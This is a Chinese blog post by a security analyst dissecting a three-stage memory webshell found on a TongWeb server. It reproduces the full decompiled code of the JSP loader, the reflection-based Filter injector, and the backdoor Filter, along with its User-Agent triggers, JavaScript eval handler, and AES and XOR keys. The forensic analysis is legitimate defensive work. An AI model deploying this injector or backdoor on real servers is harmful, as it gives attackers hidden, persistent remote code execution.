原创 Chuizi 2025-07-28 09:24 山西
TongWeb 内存马深度剖析:攻击者利用JSP触发器加载三段式Filter马,UA头“Chrome/70.0.5961.XX”激活JS引擎与AES加密后门,实现全流量劫持。速查“/*”路径异常流量!
发现痕迹
划水摸鱼看抖音的时候,发现tongweb中的某个应用告警了呢,发现有大量请求到了"/*"路径,返回大小不一判断一定有猫腻。直接上机取证,发现是一个内存马,使用了一个0day打入了系统。冲冲冲!
第一段代码分析
直接分析内存马
/*
* Generated by the Jasper component of TongWeb Webtier
* Version: TongWeb
* Generated at: 2025-07-10 13:00:46 UTC
* Note: The last modified time of this file was set to
* the last modified time of the source file after
* generation to assist with modification tracking.
*/
package com.tongweb.jsp.icondddd;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class icondddd extends com.tongweb.jasper.runtime.HttpJspBase
implements com.tongweb.jasper.runtime.JspSourceDependent,
com.tongweb.jasper.runtime.JspSourceImports {
public static class ClassDefiner extends ClassLoader {
public ClassDefiner(ClassLoader classLoader) {
super(classLoader);
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
}
private static final javax.servlet.jsp.JspFactory _jspxFactory =
javax.servlet.jsp.JspFactory.getDefaultFactory();
private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;
private static final java.util.Set<java.lang.String> _jspx_imports_packages;
private static final java.util.Set<java.lang.String> _jspx_imports_classes;
static {
_jspx_imports_packages = new java.util.HashSet<>();
_jspx_imports_packages.add("javax.servlet");
_jspx_imports_packages.add("javax.servlet.http");
_jspx_imports_packages.add("javax.servlet.jsp");
_jspx_imports_classes = null;
}
private volatile javax.el.ExpressionFactory _el_expressionfactory;
private volatile com.tongweb.web.InstanceManager _jsp_instancemanager;
public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
return _jspx_dependants;
}
public java.util.Set<java.lang.String> getPackageImports() {
return _jspx_imports_packages;
}
public java.util.Set<java.lang.String> getClassImports() {
return _jspx_imports_classes;
}
public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
if (_el_expressionfactory == null) {
synchronized (this) {
if (_el_expressionfactory == null) {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
}
}
}
return _el_expressionfactory;
}
public com.tongweb.web.InstanceManager _jsp_getInstanceManager() {
if (_jsp_instancemanager == null) {
synchronized (this) {
if (_jsp_instancemanager == null) {
_jsp_instancemanager = com.tongweb.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
}
}
}
return _jsp_instancemanager;
}
public void _jspInit() {
}
public void _jspDestroy() {
}
public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
throws java.io.IOException, javax.servlet.ServletException {
final java.lang.String _jspx_method = request.getMethod();
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET POST or HEAD");
return;
}
final javax.servlet.jsp.PageContext pageContext;
javax.servlet.http.HttpSession session = null;
final javax.servlet.ServletContext application;
final javax.servlet.ServletConfig config;
javax.servlet.jsp.JspWriter out = null;
final java.lang.Object page = this;
javax.servlet.jsp.JspWriter _jspx_out = null;
javax.servlet.jsp.PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write('\n');
out.write('\n');
String base64Str = "yv66vgAAADIBT~~~此处省略一万字";
byte[] bytecode = null;
try {
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
clazz.newInstance();
out.write('\n');
} catch (java.lang.Throwable t) {
if (!(t instanceof javax.servlet.jsp.SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
else throw new ServletException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}
从定义的类来看
继承自 TongWeb 的JSP基类,木马路径为icondddd,目前只当做第一次触发注入第二段代码 。
public final class icondddd extends com.tongweb.jasper.runtime.HttpJspBase
implements com.tongweb.jasper.runtime.JspSourceDependent,
com.tongweb.jasper.runtime.JspSourceImports
自定义的类加载器,用来当作Loader加载后续的恶意代码。
public static class ClassDefiner extends ClassLoader {
public ClassDefiner(ClassLoader classLoader) {
super(classLoader); // 使用当前类加载器作为父类
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length); // 核心:动态加载字节码
}
}
Base64解码恶意代码
String base64Str = "yv66vgAAADIBT~~~此处省略一万字"; // 恶意类的Base64
byte[] bytecode = null;
// 尝试Java 8+的Base64解码
try {
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class)
.invoke(decoder, base64Str);
}
// 兼容旧版Java(使用JAXB)
catch (ClassNotFoundException ee) {
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class)
.invoke(null, base64Str);
}
Loader,上下文类加载器:使用当前线程的类加载器,绕过安全管理。通过newInstance() 触发恶意类的构造函数。
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader())
.defineClass(bytecode); // 动态定义类
clazz.newInstance(); // 触发恶意代码执行
核心代码,纯Java反射实现,将base64Str中的恶意类加载 。
try {
response.setContentType("text/html");//很常见的Servlet内存马,实现流程
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true); //获取getPageContext,页面上下文
_jspx_page_context = pageContext;
application = pageContext.getServletContext(); //获取ServletContext,
//ServletContext是一个强大的工具,用于在Web应用程序中共享数据和资源
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write('\n');
out.write('\n');
String base64Str = "yv66vgAAADIBT~~~"; //第二层恶意类的Base64
byte[] bytecode = null;
try {
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
clazz.newInstance();
//为什么可以加载任意类?
//因为defineClass方法接受一个字节数组,这个数组可以表示任何合法的类。攻击者只需要将恶意类的字节码进行Base64编码(如代码中的base64Str),然后在运行时解码并传递给defineClass方法,就可以加载这个恶意类。
//注意:defineClass方法本身是ClassLoader的一个受保护的方法,因此自定义类加载器需要继承ClassLoader才能访问它。在代码中,ClassDefiner类暴露了一个public方法defineClass,该方法内部调用了protected的defineClass方法(实际上调用的是ClassLoader中的defineClass方法,有多个重载,这里使用的是其中一个)
//标准类加载器遵循父优先原则,但自定义加载器可打破此模型,打破双亲委派
out.write('\n');
第二段代码分析,base64解码反编译后
这段代码就有点复杂和关键了,属于是一个中间层,注入一个Filter类型的内存马;
package org.apache.logging.wXAKD;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
public class HTMLUtil {
Logger logger = Logger.getLogger(HTMLUtil.class.getName());
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "org.apache.http.web.handlers.POVKP.LogFilter";
}
public String getBase64String() {
return "H4sIAAAAAAAA/又要省略~~~";
}
public HTMLUtil() {
try {
List var1 = this.getContext();
Iterator var2 = var1.iterator();
while(var2.hasNext()) {
Object var3 = var2.next();
Object var4 = this.getShell(var3);
this.inject(var3, var4);
}
} catch (Exception var5) {
var5.printStackTrace();
}
}
public List<Object> getContext() throws Exception {
ArrayList var1 = new ArrayList();
Set var2 = Thread.getAllStackTraces().keySet();
Iterator var3 = var2.iterator();
while(true) {
Thread var4;
do {
if (!var3.hasNext()) {
return var1;
}
var4 = (Thread)var3.next();
} while(!var4.getName().contains("ContainerBackgroundProcessor"));
Map var5 = (Map)getFieldValue(getFieldValue(getFieldValue(var4, "target"), "this$0"), "children");
Collection var6 = var5.values();
Iterator var7 = var6.iterator();
while(var7.hasNext()) {
Object var8 = var7.next();
Map var9 = (Map)getFieldValue(var8, "children");
var1.addAll(var9.values());
}
}
}
private ClassLoader getWebAppClassLoader(Object var1) {
try {
return (ClassLoader)invokeMethod(var1, "getClassLoader", (Class[])null, (Object[])null);
} catch (Exception var4) {
Object var3 = invokeMethod(var1, "getLoader", (Class[])null, (Object[])null);
return (ClassLoader)invokeMethod(var3, "getClassLoader", (Class[])null, (Object[])null);
}
}
private Object getShell(Object var1) throws Exception {
ClassLoader var2 = this.getWebAppClassLoader(var1);
try {
return var2.loadClass(this.getClassName()).newInstance();
} catch (Exception var7) {
byte[] var4 = gzipDecompress(decodeBase64(this.getBase64String()));
Method var5 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var5.setAccessible(true);
Class var6 = (Class)var5.invoke(var2, var4, 0, var4.length);
return var6.newInstance();
}
}
public void inject(Object var1, Object var2) throws Exception {
Logger var10000;
String var10001;
if (invokeMethod(var1, "findFilterDef", new Class[]{String.class}, new Object[]{this.getClassName()}) != null) {
var10000 = this.logger;
var10001 = "filter already injected";
} else {
String var3 = this.getClassName();
ClassLoader var7 = var1.getClass().getClassLoader();
Object var4;
Object var5;
Constructor var6;
try {
var6 = var7.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
var4 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
var5 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
} catch (Exception var11) {
try {
var6 = var7.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
var4 = var7.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
var5 = var7.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
} catch (Exception var10) {
var6 = var7.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
var4 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
var5 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
}
}
invokeMethod(var4, "setFilterName", new Class[]{String.class}, new Object[]{var3});
invokeMethod(var4, "setFilterClass", new Class[]{String.class}, new Object[]{var3});
invokeMethod(var1, "addFilterDef", new Class[]{var4.getClass()}, new Object[]{var4});
invokeMethod(var5, "setFilterName", new Class[]{String.class}, new Object[]{var3});
invokeMethod(var5, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
invokeMethod(var1, "addFilterMapBefore", new Class[]{var5.getClass()}, new Object[]{var5});
var6.setAccessible(true);
Object var8 = var6.newInstance(var1, var4);
Map var9 = (Map)getFieldValue(var1, "filterConfigs");
var9.put(var3, var8);
var10000 = this.logger;
var10001 = "filter inject success";
}
}
public static byte[] decodeBase64(String var0) throws Exception {
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var2 = var1.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])var2.getClass().getMethod("decode", String.class).invoke(var2, var0));
} catch (Exception var3) {
var1 = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])var1.getMethod("decodeBuffer", String.class).invoke(var1.newInstance(), var0));
}
}
public static byte[] gzipDecompress(byte[] var0) throws IOException {
ByteArrayOutputStream var1 = new ByteArrayOutputStream();
GZIPInputStream var2 = null;
try {
var2 = new GZIPInputStream(new ByteArrayInputStream(var0));
byte[] var3 = new byte[4096];
int var4;
while((var4 = var2.read(var3)) > 0) {
var1.write(var3, 0, var4);
}
byte[] var5 = var1.toByteArray();
return var5;
} finally {
if (var2 != null) {
var2.close();
}
var1.close();
}
}
public static Object invokeMethod(Object var0, String var1, Class<?>[] var2, Object[] var3) {
try {
Class var4 = var0 instanceof Class ? (Class)var0 : var0.getClass();
Method var5 = null;
while(var4 != null && var5 == null) {
try {
if (var2 == null) {
var5 = var4.getDeclaredMethod(var1);
} else {
var5 = var4.getDeclaredMethod(var1, var2);
}
} catch (NoSuchMethodException var7) {
var4 = var4.getSuperclass();
}
}
if (var5 == null) {
throw new NoSuchMethodException("Method not found: " + var1);
} else {
var5.setAccessible(true);
return var5.invoke(var0 instanceof Class ? null : var0, var3);
}
} catch (Exception var8) {
throw new RuntimeException("Error invoking method: " + var1, var8);
}
}
public static Object getFieldValue(Object var0, String var1) throws Exception {
Class var2 = var0.getClass();
while(var2 != Object.class) {
try {
Field var3 = var2.getDeclaredField(var1);
var3.setAccessible(true);
return var3.get(var0);
} catch (NoSuchFieldException var4) {
var2 = var2.getSuperclass();
}
}
throw new NoSuchFieldException();
}
static {
new HTMLUtil();
}
}
代码启动,但是在分析Web日志的时候,红队还是访问了 / 来触发。
static {
new HTMLUtil(); // 类加载时立即执行
}
public HTMLUtil() {
try {
// 1. 获取所有Web应用上下文对象
List var1 = this.getContext();
Iterator var2 = var1.iterator();
// 2. 遍历每个上下文
while(var2.hasNext()) {
Object var3 = var2.next(); // 当前上下文对象
// 3. 为当前上下文动态创建恶意Filter实例
Object var4 = this.getShell(var3);
// 4. 将恶意Filter注入到当前上下文的过滤链
this.inject(var3, var4);
}
} catch (Exception var5) {
var5.printStackTrace(); // 异常处理(便于调试)
}
}
通过遍历ContainerBackgroundProcessor反射内容获取Context
//ContainerBackgroundProcessor,该线程每10s会发送一个发送一个事件,监听到该事件的部署配置类会自动去扫描webapp文件夹下的war包,将其加载成一个Context
public List<Object> getContext() throws Exception {
ArrayList var1 = new ArrayList();
Set var2 = Thread.getAllStackTraces().keySet();//获取所有线程
Iterator var3 = var2.iterator();
while(true) { //遍历线程查找目标线程
Thread var4;
do {
if (!var3.hasNext()) {
return var1;
}
var4 = (Thread)var3.next();
} while(!var4.getName().contains("ContainerBackgroundProcessor"));
Map var5 = (Map)getFieldValue(getFieldValue(getFieldValue(var4, "target"), "this$0"), "children"); //反射获取内部数据结构
Collection var6 = var5.values();
Iterator var7 = var6.iterator();
while(var7.hasNext()) { //收集子容器中的所有对象
Object var8 = var7.next();
Map var9 = (Map)getFieldValue(var8, "children");
var1.addAll(var9.values());
}
}
}
getshell函数,获取base64+GZIP压缩过的第三层class类
private Object getShell(Object var1) throws Exception {
ClassLoader var2 = this.getWebAppClassLoader(var1); //首先通过 getWebAppClassLoader() 获取一个类加载器
try {
return var2.loadClass(this.getClassName()).newInstance();
} catch (Exception var7) {
byte[] var4 = gzipDecompress(decodeBase64(this.getBase64String())); //解密Base64中的Class类
Method var5 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); //然后使用这个类加载器加载由 getClassName() 返回的类名对应的类
var5.setAccessible(true);
Class var6 = (Class)var5.invoke(var2, var4, 0, var4.length); //最后通过反射创建该类的实例
return var6.newInstance();
}
}
inject函数,负责将恶意Filter动态注入到目标Web应用的过滤链中
public void inject(Object var1, Object var2) throws Exception {
Logger var10000;
String var10001;
if (invokeMethod(var1, "findFilterDef", new Class[]{String.class}, new Object[]{this.getClassName()}) != null) { //检查是否注册过findFilterDef,如果没有则运行注册
var10000 = this.logger;
var10001 = "filter already injected"; // 已存在同名Filter则跳过
} else {
String var3 = this.getClassName();
ClassLoader var7 = var1.getClass().getClassLoader();
Object var4;
Object var5;
Constructor var6;
try {
// 尝试加载TongWeb版本1的类 自动识别TongWeb版本
var6 = var7.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
var4 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
var5 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
} catch (Exception var11) {
try {
// 尝试加载TongWeb版本2的类
var6 = var7.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
var4 = var7.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
var5 = var7.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
} catch (Exception var10) {
// 尝试加载TongWeb版本3的类
var6 = var7.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
var4 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
var5 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
}
}
// 设置Filter名称和类名
invokeMethod(var4, "setFilterName", new Class[]{String.class}, new Object[]{var3});
invokeMethod(var4, "setFilterClass", new Class[]{String.class}, new Object[]{var3});
// 将Filter定义添加到Context
invokeMethod(var1, "addFilterDef", new Class[]{var4.getClass()}, new Object[]{var4});
// 设置Filter名称
invokeMethod(var5, "setFilterName", new Class[]{String.class}, new Object[]{var3});
// 添加URL匹配模式(/* 表示拦截所有请求)
invokeMethod(var5, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
// 将映射规则添加到Context(确保优先执行)
invokeMethod(var1, "addFilterMapBefore", new Class[]{var5.getClass()}, new Object[]{var5});
// 创建Filter配置实例
var6.setAccessible(true);
Object var8 = var6.newInstance(var1, var4);
// 获取Context的filterConfigs字段(核心数据结构)
Map var9 = (Map)getFieldValue(var1, "filterConfigs");
// 将恶意Filter配置注入核心Map
var9.put(var3, var8);
var10000 = this.logger;
var10001 = "filter inject success";
}
}
完成注入后,所有HTTP请求的处理流程变为
第三段真正的内存马
package org.apache.http.web.handlers.POVKP;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebFilter("/*")
public class LogFilter implements Filter {
static Class service;
public static byte[] unHex(byte[] var0) {
int var1 = var0.length;
byte[] var2 = new byte[var1 / 2];
int var3 = 0;
for(int var4 = 0; var4 < var1; ++var3) {
int var5 = Character.digit(var0[var4++], 16) << 4;
var5 |= Character.digit(var0[var4++], 16);
var2[var3] = (byte)(var5 & 255);
}
return var2;
}
public static byte[] aes128(byte[] var0, int var1) {
try {
Cipher var2 = Cipher.getInstance("AES");
var2.init(var1, new SecretKeySpec(base64Decode("0J5YM0fKgYVrkckwTUIF+Q==".getBytes()), "AES"));
return var2.doFinal(var0);
} catch (Exception var3) {
return null;
}
}
public static byte[] xor(byte[] var0) {
byte[] var1 = base64Decode("R80sh++uJ9oXJpMfw2pc/Q==".getBytes());
int var2 = var0.length;
int var3 = var1.length;
boolean var4 = false;
for(int var5 = 1; var5 <= var2; ++var5) {
int var6 = var5 - 1;
var0[var6] ^= var1[var5 % var3];
}
return var0;
}
public static byte[] base64Encode(byte[] var0) {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getEncoder", (Class[])null).invoke(var1, (Object[])null);
var2 = (byte[])((byte[])var3.getClass().getMethod("encode", byte[].class).invoke(var3, var0));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Encoder");
Object var4 = var1.newInstance();
var2 = ((String)var4.getClass().getMethod("encode", byte[].class).invoke(var4, var0)).getBytes();
} catch (Exception var5) {
}
}
return var2;
}
public static byte[] base64Decode(byte[] var0) {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getDecoder", (Class[])null).invoke(var1, (Object[])null);
var2 = (byte[])((byte[])var3.getClass().getMethod("decode", byte[].class).invoke(var3, var0));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Decoder");
Object var4 = var1.newInstance();
var2 = (byte[])((byte[])var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, new String(var0)));
} catch (Exception var5) {
}
}
return var2;
}
public void a01(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
PrintWriter var4 = var2.getWriter();
var4.println("{\"version\":\"1.0.0\"}");
var4.flush();
var4.close();
}
public void a02(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
PrintWriter var4 = var2.getWriter();
ScriptEngine var5 = (new ScriptEngineManager()).getEngineByName("js");
var5.put("request", var1);
var5.put("response", var2);
try {
var4.println(var5.eval(new String(base64Decode(var1.getParameter("username").getBytes()))).toString());
} catch (ScriptException var7) {
}
var4.flush();
var4.close();
}
public byte[] a033(byte[] var1) throws Exception {
byte[] var2 = new byte[var1.length - 337];
System.arraycopy(var1, 281, var2, 0, var2.length);
var1 = unHex(var2);
var1 = aes128(var1, 2);
if (service == null) {
service = loader(var1);
return null;
} else {
ByteArrayOutputStream var3 = new ByteArrayOutputStream();
Object var4 = service.newInstance();
var4.equals(var3);
var4.equals(var1);
var4.toString();
byte[] var5 = var3.toByteArray();
var3.reset();
var5 = xor(var5);
var5 = base64Encode(var5);
var3.write(base64Decode("eyJyZXNwb25zZUNvbnRleHQiOnsic2VydmljZVRyYWNraW5nUGFyYW1zIjpbeyJzZXJ2aWNlIjoiQ1NJIiwicGFyYW1zIjpbeyJrZXkiOiJjIiwidmFsdWUiOiJXRUIifSx7ImtleSI6ImN2ZXIiLCJ2YWx1ZSI6IjIuMjAyNDA3MTAuMDguMDAifSx7ImtleSI6Inl0X2xpIiwidmFsdWUiOiIxIn0seyJrZXkiOiJHZXRVbnNlZW5Ob3RpZmljYXRpb25Db3VudF9yaWQiLCJ2YWx1ZSI6IjB4M2MwMGNhZGFjNjNkYzE0NyJ9XX0seyJzZXJ2aWNlIjoiRUNBVENIRVIiLCJwYXJhbXMiOlt7ImtleSI6ImNsaWVudC52ZXJzaW9uIiwidmFsdWUiOiIyLjIwMjQwNzEwIn0seyJrZXkiOiJjbGllbnQubmFtZSIsInZhbHVlIjoiV0VCIn1dfV0sIm1haW5BcHBXZWJSZXNwb25zZUNvbnRleHQiOnsiZGF0YXN5bmNJZCI6IjExNjc2MTk5MjE5MTAzNTY5MDc5Nnx8IiwibG9nZ2VkT3V0IjpmYWxzZX0sIndlYlJlc3BvbnNlQ29udGV4dEV4dGVuc2lvbkRhdGEiOnsiaGFzRGVjb3JhdGVkIjp0cnVlfX0sImFjdGlvbnMiOlt7ImNsaWNrVHJhY2tpbmdQYXJhbXMiOiI=".getBytes()));
var3.write(var5);
var3.write(base64Decode("IiwidXBkYXRlTm90aWZpY2F0aW9uc1Vuc2VlbkNvdW50QWN0aW9uIjp7ImhhbmRsZXJEYXRhIjoiTk9USUZJQ0FUSU9OX0FDVElPTl9VUERBVEVfVU5TRUVOX0NPVU5UIiwidW5zZWVuQ291bnQiOjAsInRpbWVvdXRNcyI6MTgwMDAwMH19XX0=".getBytes()));
var5 = var3.toByteArray();
return var5;
}
}
public void a03(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
try {
Object var4 = null;
byte[] var5;
byte[] var10;
if (var1.getParameter("json") != null) {
var10 = var1.getParameter("json").getBytes();
} else {
var5 = new byte[102400];
ByteArrayOutputStream var6 = new ByteArrayOutputStream();
boolean var7 = false;
ServletInputStream var8 = var1.getInputStream();
while(true) {
int var11;
if ((var11 = var8.read(var5)) <= 0) {
var10 = var6.toByteArray();
break;
}
var6.write(var5, 0, var11);
}
}
var5 = this.a033(var10);
var2.setStatus(200);
var2.setHeader("Content-Type", "application/json;charset=utf-8;");
var2.getOutputStream().write(var5);
var2.getOutputStream().flush();
var2.getOutputStream().close();
} catch (Exception var9) {
}
}
public static Class loader(byte[] var0) throws Exception {
URLClassLoader var1 = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method var2 = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), byte[].class, Integer.TYPE, Integer.TYPE);
var2.setAccessible(true);
Class var3 = (Class)var2.invoke(var1, var0, new Integer(0), new Integer(var0.length));
return var3;
}
public void init(FilterConfig var1) throws ServletException {
}
public void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException {
HttpServletRequest var4 = (HttpServletRequest)var1;
HttpServletResponse var5 = (HttpServletResponse)var2;
String var6 = var4.getHeader("User-Agent");
String var7 = null;
String var8 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961.";
if (var6 != null && var6.startsWith(var8)) {
int var9 = var6.indexOf(var8);
var7 = var6.substring(var9 + var8.length(), var9 + var8.length() + 2);
}
if (var7 != null) {
Method var10 = this.getClass().getDeclaredMethod("a" + var7, HttpServletRequest.class, HttpServletResponse.class, String.class);
var10.invoke(this, var4, var5, var7);
} else {
var3.doFilter(var4, var5);
}
}
}
doFilter 初始函数,过滤UA确定我要执行的模块,
public void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3)
throws IOException, ServletException {
// 检测特定UA头
String var6 = var4.getHeader("User-Agent");
String var8 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961.";
// 提取触发代码
if (var6 != null && var6.startsWith(var8)) {
int var9 = var6.indexOf(var8);
var7 = var6.substring(var9 + var8.length(), var9 + var8.length() + 2);
}
// 动态调用攻击方法
if (var7 != null) {
Method var10 = this.getClass().getDeclaredMethod("a" + var7, HttpServletRequest.class, HttpServletResponse.class, String.class);
var10.invoke(this, var4, var5, var7);
} else {
var3.doFilter(var4, var5); // 正常请求
}
}
UA识别规则
当结尾01时:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961."01"
反射getDeclaredMethod("a" + 01函数执行
当结尾02时:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961."02"
反射getDeclaredMethod("a" + 02函数执行
当结尾03时:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961."03"
反射getDeclaredMethod("a" + 03函数执行
a01函数分析,普普通通的返回json,可作为心跳包,验证的一个点。
public void a01(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
PrintWriter var4 = var2.getWriter();
var4.println("{\"version\":\"1.0.0\"}");
var4.flush();
var4.close();
}
a02函数分析,一句话木马,username eval(username)
public void a02(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
PrintWriter var4 = var2.getWriter();
ScriptEngine var5 = (new ScriptEngineManager()).getEngineByName("js");
var5.put("request", var1);
var5.put("response", var2);
try {
var4.println(var5.eval(new String(base64Decode(var1.getParameter("username").getBytes()))).toString());
} catch (ScriptException var7) {
}
var4.flush();
var4.close();
}
a03函数分析,获取请求体中的json参数,
public void a03(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
try {
Object var4 = null;
byte[] var5;
byte[] var10;
if (var1.getParameter("json") != null) {//检测json函数存在吗
var10 = var1.getParameter("json").getBytes(); //存在则使用json参数传参
} else { //不存在则直接读取RAW格式,返回
var5 = new byte[102400];
ByteArrayOutputStream var6 = new ByteArrayOutputStream();
boolean var7 = false;
ServletInputStream var8 = var1.getInputStream();
while(true) {
int var11;
if ((var11 = var8.read(var5)) <= 0) {
var10 = var6.toByteArray();
break;
}
var6.write(var5, 0, var11);
}
}
var5 = this.a033(var10); //调用a33函数
var2.setStatus(200);
var2.setHeader("Content-Type", "application/json;charset=utf-8;");
var2.getOutputStream().write(var5); //a03执行后,拼接正常数据返回
var2.getOutputStream().flush();
var2.getOutputStream().close();
} catch (Exception var9) {
}
}
a033函数分析,
public byte[] a033(byte[] var1) throws Exception {
// 1. 截取加密数据(避开固定头尾)
byte[] var2 = new byte[var1.length - 337];
System.arraycopy(var1, 281, var2, 0, var2.length);
// 2. 多层解密
var1 = unHex(var2); // HEX解码
var1 = aes128(var1, 2); // AES解密 (Cipher.DECRYPT_MODE=2)
// 3. 动态类加载
if (service == null) {
service = loader(var1); // 加载恶意类
return null;
}
// 4. 执行恶意类
ByteArrayOutputStream var3 = new ByteArrayOutputStream();
Object var4 = service.newInstance();
